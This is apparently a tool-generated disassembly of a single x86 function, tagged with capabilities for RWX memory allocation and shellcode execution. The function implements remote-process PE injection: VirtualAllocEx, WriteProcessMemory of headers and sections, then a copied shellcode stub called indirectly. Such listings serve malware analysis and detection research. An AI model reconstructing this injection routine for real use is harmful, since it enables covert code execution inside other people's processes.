Function at 0x401453
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x29c
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x26c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x270], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 0x10]
add eax, edx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x40], eax
mov dword [esp + 4], 0x228
lea eax, [ebp - 0x268]
mov dword [esp], eax
call fcn.004042e0
sub esp, 8
mov eax, dword [section..bss]
mov dword [ebp - 0x268], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x264], eax
mov eax, dword [ebp + 0x1c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x409000
mov dword [esp + 4], 0x208
lea eax, [ebp - 0x268]
add eax, 0x20
mov dword [esp], eax
call fcn.004065d0
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
js 0x40195f
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x3000
mov eax, dword [ebp + 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
cdq
mov dword [ebp - 0x250], eax
mov dword [ebp - 0x24c], edx
mov eax, dword [ebp - 0x250]
mov edx, dword [ebp - 0x24c]
test eax, eax
je 0x401962
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x25c], eax
mov eax, dword [ebp - 0x250]
mov edx, dword [ebp - 0x24c]
mov edx, eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp + 0x18]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
test eax, eax
je 0x401965
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov eax, dword [ebp - 0x40]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
cdq
mov dword [ebp - 0x258], eax
mov dword [ebp - 0x254], edx
mov eax, dword [ebp - 0x258]
mov edx, dword [ebp - 0x254]
test eax, eax
je 0x401968
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x260], eax
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 0x54]
mov eax, dword [ebp - 0x258]
mov edx, dword [ebp - 0x254]
mov edx, eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ecx
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
test eax, eax
je 0x40196b
mov eax, dword [ebp - 0x2c]
add eax, 0x108
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x1c], 0
jmp 0x40174a
mov edx, dword [ebp - 0x1c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x30]
add eax, edx
mov eax, dword [eax + 0x10]
test eax, eax
je 0x401745
mov edx, dword [ebp - 0x1c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x30]
add eax, edx
mov esi, dword [eax + 0x10]
mov dword [ebp - 0x27c], esi
mov edx, dword [ebp - 0x1c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x30]
add eax, edx
mov edx, dword [eax + 0x14]
mov eax, dword [ebp + 0x10]
lea edi, [edx + eax]
mov edx, dword [ebp - 0x258]
mov ecx, dword [ebp - 0x254]
mov ebx, dword [ebp - 0x1c]
mov eax, ebx
shl eax, 2
add eax, ebx
shl eax, 3
mov ebx, eax
mov eax, dword [ebp - 0x30]
add eax, ebx
mov eax, dword [eax + 0xc]
mov ebx, eax
mov esi, 0
add ebx, edx
adc esi, ecx
mov eax, ebx
mov edx, esi
mov dword [esp + 0x10], 0
mov esi, dword [ebp - 0x27c]
mov dword [esp + 0xc], esi
mov dword [esp + 8], edi
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
test eax, eax
je 0x40196e
jmp 0x401746
nop
add dword [ebp - 0x1c], 1
mov eax, dword [ebp - 0x2c]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 0x1c], eax
jb 0x401686
mov eax, dword [ebp - 0x258]
mov edx, dword [ebp - 0x254]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx + 0x88]
mov ebx, 0
add eax, ecx
adc edx, ebx
add eax, 0x1c
adc edx, 0
mov edx, eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 4
lea eax, [ebp - 0x270]
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call eax
sub esp, 0x14
test eax, eax
je 0x401971
mov eax, dword [ebp - 0x258]
mov edx, dword [ebp - 0x254]
mov ecx, dword [ebp - 0x270]
mov ebx, 0
add eax, ecx
adc edx, ebx
mov edx, eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 4
lea eax, [ebp - 0x270]
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call eax
sub esp, 0x14
test eax, eax
je 0x401974
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], 0x228
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x401977
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x228
lea eax, [ebp - 0x268]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
test eax, eax
je 0x40197a
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0x10f
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x40197d
mov eax, dword [ebp - 0x34]
mov ebx, str.SVWU
mov edx, 0x10f
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x258]
mov edx, dword [ebp - 0x254]
mov ecx, dword [ebp - 0x270]
mov ebx, 0
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0x26c]
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x38]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
call eax
mov eax, dword [ebp - 0x26c]
test eax, eax
je 0x401980
mov dword [ebp - 0x20], 1
jmp 0x401981
nop
jmp 0x401981
nop
jmp 0x401981
nop
jmp 0x401981
nop
jmp 0x401981
nop
jmp 0x401981
nop
jmp 0x401981
nop
jmp 0x401981
nop
jmp 0x401981
nop
jmp 0x401981
nop
jmp 0x401981
nop
jmp 0x401981
nop
mov eax, dword [ebp - 0x26c]
test eax, eax
je 0x40199e
mov eax, dword [ebp - 0x26c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x20]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret